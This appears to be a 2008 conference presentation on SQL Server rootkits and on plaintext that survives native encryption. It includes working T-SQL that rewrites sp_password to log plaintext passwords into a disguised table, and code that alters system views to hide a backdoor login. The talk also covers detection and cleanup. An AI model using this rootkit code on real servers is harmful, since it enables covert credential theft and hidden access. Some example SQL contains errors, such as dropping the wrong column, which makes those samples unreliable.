“Double Trouble”
SQL Server Rootkits and Encryption
October 7th, 2008
Presentation Overview

- Double feature
  - SQL Server rootkits
    - Covertly maintaining unauthorized access
    - Examples that can be applied to any SQL Server
    - Using native Microsoft functionality
  - Native encryption, residual exposure
    - Recovery of plain text data post-encryption
    - Using native Microsoft functionality
SQL Server Rootkits

- Attackers use OS rootkits to conceal unauthorized access
- OS rootkits usually miss-represent or conceal the following:
  - Logins\users
  - Processes
  - Executables\files
  - Registry entries
  - Active port s\services
  - Etc.
- SQL Server rootkits can achieve the same result within the RDBMS environment
- OS rootkit detection tools are ineffective
- Alexander Kombrust’s research
Generations of database rootkits

First generation
- Alter database objects such as stored procedures, functions and views
- Affect the objects within database data files.

Second generation
- Inject or alter code within RDBMS libraries altering the logic used by core database executables.
- Affect the actual libraries used by the RDBMS.

Third generation
- Directly inject or alter the contents of memory allocated by the RDBMS. When in-memory code is altered or injected it is later executed by the RDBMS.
How are SQL Server rootkits introduced?
- Object translation tampering
- Object tampering

Database rootkit introduction methods and effectiveness will differ depending on SQL Server Version (2000, 2005 & 2008)
Rootkits | SQL Server 2000

- SQL Server 2000 characteristics
  - Supports direct system object modifications
  - Can be introduced without restart of MSSqlServer service
Object tampering example:
  - Covert password logging

Steps
  1) Tamper with the sp_password procedure
     - Used by database users to reset passwords
     - Used by the SQL Server Enterprise Manager GUI to reset passwords

Step detail
1) Tamper with the sp_password procedure
   - Execute as per norm but silently record the login name, password, and date of password change.

```
Alter procedure sp_password
AS
<Omitted procedure logic>…
-- ** Capture plain text password and write to database table
-- Create inconspicuous MSReplication table to hold captured passwords if it does not already exist
   if not exists (select * from master..sysobjects where name = 'MSReplication' and type = 'U')
BEGIN
    CREATE TABLE Master..MSReplication (Login VARCHAR(100), [Password] varchar(100), DateChanged VARCHAR(100))
END
-- Write username, plain text password and date of password change to the MSReplication table
    INSERT INTO Master..MSReplication VALUES (@loginame, @new, GETDATE())
-- ** Now back to the regular procedure execution
<Omitted procedure logic>…
```
Password resets performed via `sp_password` or the Enterprise Manager GUI will now silently record:

- Login name
- Newly set password
- Date of password change
Rootkits | SQL Server 2005

SQL Server 2005 characteristics

– Does not support updates to system objects according to SQL Server Books Online:

“SQL Server does not support users directly updating the information in system objects such as system tables, system stored procedures, and catalog views”

– To protect system objects they have been moved to a hidden system resource database and accessed via views

– The stated revocation of direct system access actually makes SQL Server 2005 more susceptible to rootkits!
Object tampering example:
- Hide the backdoor EASYACCESS login from detection

Steps
1) Copy and attach the hidden resource database
2) Login via DAC
3) Script the `sys.server_principals` view
4) Tamper with the `sys.server_principals` view
   - Used by SSMS, syslogins, sys.logins
5) Introduce the rootkit

Step detail
1) Copy and attach the hidden resource database
   – Using SQL Server Management Studio results in error

   ![Error Message](image)

   – But using query editor works...

   ```sql
   CREATE DATABASE [mssqlsystemresource-copy] ON
   (FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\mssqlsystemresource-copy.mdf'),
   (FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\mssqlsystemresource-copy.ldf')
   FOR ATTACH
   ```
Rootkits | SQL Server 2005

- Resource database will remain in Read-only mode (SP2 and higher)
  
  ![mssqlsystemresource-copy](Read-Only)

- Mark database as writeable

  `sp_dboption 'mssqlsystemresource-copy', 'Read_Only', 'false'`
2) Login via Dedicated Administrator Connection (DAC)
3) Script `sys.server_principals` view
4) Tamper with view the `sys.server_principals` view
   - Hide the EASYACCESS login from the view results

```sql
ALTER VIEW [sys].[server_principals] AS
SELECT p.name,
    p.id AS principal_id,
    p.sid, p.type,
    n.name AS type_desc,
    is_disabled = convert(bit, p.status & 0x80),
    p.crdate AS create_date,
    p.modate AS modify_date,
    p.dbname AS default_database_name,
    p.lang AS default_language_name,
    r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0
-- SRC_LOGIN_CREDENTIAL
WHERE p.type <> 'M' AND p.name <> 'EASYACCESS'
```
5) Introduce the rootkit
   - Stop MSSQLServer service
   - Replace existing resource database files with tampered equivalents
   - Start MSSQLServer service

- The end result
  - The EASYACCESS account is hidden from identification within
    - SQL Server Management Studio (GUI)
    - Direct calls to the `sys.server_principals` view
    - Direct calls to the `sys.syslogins` view
    - Direct calls to the `sys.logins` view
The EASYACCESS account although hidden within various areas of SQL Server is still visible within the `sys.sysxlgns` **system base table**.
Other possibilities

- SQL Server Management Studio and associated objects
  - Hide processes (Activity Monitor, sp_wo, sp_who2)
  - Hide database endpoints (listeners)
  - Falsify the status of high-risk objects/settings (xp_Cmdshell, OPENROWSET)
  - Hide jobs and triggers
  - Cloak tables, procedures or functions
  - Skew object permissions
  - And much more...
SQL Server 2008 characteristics

- Direct system object modifications are still ‘prohibited’
- Changes in the resource database
- At the time of this presentation no known method of object tampering within SQL Server 2008 is known.
Detecting SQL Server rootkits

- Compare high-level and low-level information
  - Data from high level views should be compared with that of low level views and system base tables
Detecting SQL Server rootkits (continued)

- Script and compare object definitions against a known good source
  - `RKTDetection.sql` will be posted on www.applicationforensics.com
    - Scripts each line of every system `procedure`, `view` and `function` within a SQL Server database
    - On a default SQL Server 2005 installation over 158,447 lines of syntax in about 15 minutes
- Follow accompanying instructions to generate and compare checksums and identify object tampering

<table>
<thead>
<tr>
<th>object</th>
<th>line</th>
<th>trusted_syntax</th>
<th>untrusted_syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td>sys.syslogins</td>
<td>1</td>
<td>CREATE VIEW sys.syslogins AS SELECT</td>
<td>CREATE VIEW [sys].[syslogins] AS SELECT</td>
</tr>
<tr>
<td>sys.syslogins</td>
<td>41</td>
<td>WHERE p.type &lt;&gt; 'R'</td>
<td>WHERE p.type &lt;&gt; 'R' and p.name &lt;&gt; 'EASYACCESS'</td>
</tr>
</tbody>
</table>
Native encryption, residual exposure

Balanced Security  |  Measurable Results
Native SQL Server encryption

- Native SQL Server data encryption
  - Encryption at-rest provides an additional level of data access control
  - Restricts the mighty db_owner and sysadmin from accessing data
  - Can even restrict SQL Server itself from accessing data

- How is encryption implemented?
  - Symmetric keys
  - Asymmetric keys
  - Certificates
  - Encryption by pass-phrase
  - Transparent Data Encryption (TDE) – SQL Server 2008 only
Native SQL Server encryption | SQL Server 2005

- So what’s the problem?
  - Encryption is an add-on to core database functionality designed over 20 years ago
  - Native encryption does not protect data when stored by this core database functionality
  - This miss-alignment can result in the exposure of the plaintext data, post-encryption

- White papers, web-sites and industry experts usually recommend one of three common approaches to native data encryption:
  - **Option 1:** In-place update
  - **Option 2:** Create an encrypted column and delete the original
  - **Option 3:** Create a new table with encrypted column and delete the original
Sample table: CCData

Table details

Symmetric key details

Name: CCsymKey
Algorithm: Triple_DES
Key bit: 128
Option 1: In-place update

- Convert the targeted column’s data type to varbinary (if required)
- Perform in-place update of plaintext values with ciphertext

```sql
UPDATE CCDATA SET CCNumber = ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber)
```

- Results:
Option 1: Residual plain-text data

- Transaction log entries

RowLog Contents 0

0x34004B616C65614B65616E652069736134353363439363831373433236373830

RowLog Contents 1

0x60004B616C65614B65616E652069736100D65EF61180FB42B92542DE0EC96EFA082051C9B9C46BA361A45D30C9246A4012BBF84FB
E5FC34E0DAE61126E013AF91852E8BF67034E9A6

- Recovery:
Option 2: Create an encrypted column and delete the original

- Create a new column with the varbinary data type
  ```
  ALTER TABLE CCData ADD CCNumber_Temp [varbinary](max)
  ```

- Insert ciphertext values into the new column
  ```
  UPDATE CCData SET CCNumber_Temp = ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber)
  ```

- Delete original column containing plain-text values
  ```
  ALTER TABLE CCData DROP COLUMN CCNumber_Temp
  ```

- Rename new column to replace old name
  ```
  EXEC sp_rename 'CCData.[CCNumber_Temp]', 'CCNumber', 'COLUMN'
  ```
Native SQL Server encryption | SQL Server 2005

Option 2: Results

- Within the SSMS and Query Editor, credit card numbers are encrypted

- But are they?
Option 2: Residual plain-text data

- Data pages still contain the “deleted” credit card data within the dropped column

  Data pages still contain the “deleted” credit card data within the dropped column

  DBCC Page (SecTor2008, 1, 73, 2)

- Varbinary data can be easily converted to reveal the plain text credit card data

- DBCC CLEANTABLE is in-effective
Option 3: Create a new table with encrypted column, add ciphertext and delete the original table

- Create mirror table (CCData_temp) using the varbinary data type
- Copy data to the new table excluding plain text credit card data!

```
INSERT INTO CCData_temp (ID, FName, LName, CCType, CCNumber)
Select ID, Fname, LName, CCType, 0 from ccdata
```
Option 3: Create a new table with encrypted column, add ciphertext and delete the original table (continued)

- Update new column with encrypted values

```sql
UPDATE ccdt
set ccdt.CCNumber=ccd.CCNumber
FROM ccdata_temp ccdt
INNER JOIN
(select id, ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber) AS 'CCNumber'
  AS 'CCNumber'
from CCData
GROUP BY ID, CCNumber)ccd
on ccdt.id = ccd.id
```

- DROP original table and rename temp table

```sql
DROP table CCData
EXEC sp_rename 'CCData_temp', 'CCData'
```
Option 3: Residual plain-text data

- Data pages still contain the “deleted” credit card data within the dropped table

DBCC Page (SecTor2008, 1, 73, 2)

- Varbinary data can be easily converted to reveal the plain text credit card data
Native SQL Server encryption | SQL Server 2008

- Transparent Data Encryption (TDE) within SQL Server 2008 fixes the problem...right?
- The same methods can be used on SQL Server 2008 with TDE enabled to recover pre-encryption plaintext values from active VLF’s and data pages
- TDE prevents recovery of plain text data from reusable VLF regions
What’s the best method to encrypt data?

1. Create a new database
2. Transfer all objects and data **excluding the data to be encrypted**!
3. Update newly created table with generated ciphertext
4. Checkpoint transaction log
5. Clear buffer pool
6. Permanently delete the original database data and log files

Result

- No residual sensitive plaintext data within the transaction log
- No residual sensitive plaintext data left within database data page(s)

Practical? not in all scenarios. So an alternative approach…
An easier alternative
  – Create a new table
    ■ Mirroring the structure of the original table containing the plain text values

  – Copy data to the new table excluding plain text credit card data!

INSERT INTO CCData_temp (ID, FName, LName, CCType, CCNumber)
Select ID, Fname, LName, CCType, 0 from ccdata
An easier alternative (continued)

- Update temp table with CCNumber ciphertext

```sql
UPDATE ccdt
set ccdt.CCNumber = ccd.CCNumber
FROM ccdata_temp ccdt
INNER JOIN
(select id, ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber) AS 'CCNumber'
from CCData
GROUP BY ID, CCNumber)ccd
on ccdt.id = ccd.id
```

- Set database recovery model to simple
- Overwrite plain text credit card data with **the exact number** of zero’s

```sql
UPDATE CCData SET CCNumber = CONVERT(varbinary, REPLICATE(0, LEN(CCNumber)))
```
An easier alternative (continued)

- Apply required permissions on CCData_temp table
- Truncate the original CCData table
  
  ```sql
  TRUNCATE table CCData
  ```

- Rename the temp table to CCData
  
  ```sql
  EXEC sp_rename 'CCData_temp', 'CCData'
  ```

- Checkpoint
- Clear in-memory data pages (DBCC DROPCLEANBUFFERS)
- Enable TDE (SQL Server 2008 only)

The end result

- No residual plaintext credit card data within active VLF’s
- Offline transaction log carving prevention
- No plaintext credit card data left on data page(s)
How Microsoft can fix this issue

- When encryption is used, protect the plaintext data within the transaction log (use encryption or restrict user interaction with it all together)
- When the plaintext format of encrypted data has completed its use, overwrite it prior to making the VLF as reusable
- Add a permanent deletion method that users can use to delete plaintext data during data encryption
Additional information

Kevvie Fowler
TELUS Security Solutions
email: kevvie.fowler@telus.ca
Conclusion

- Thank-you
- Questions ????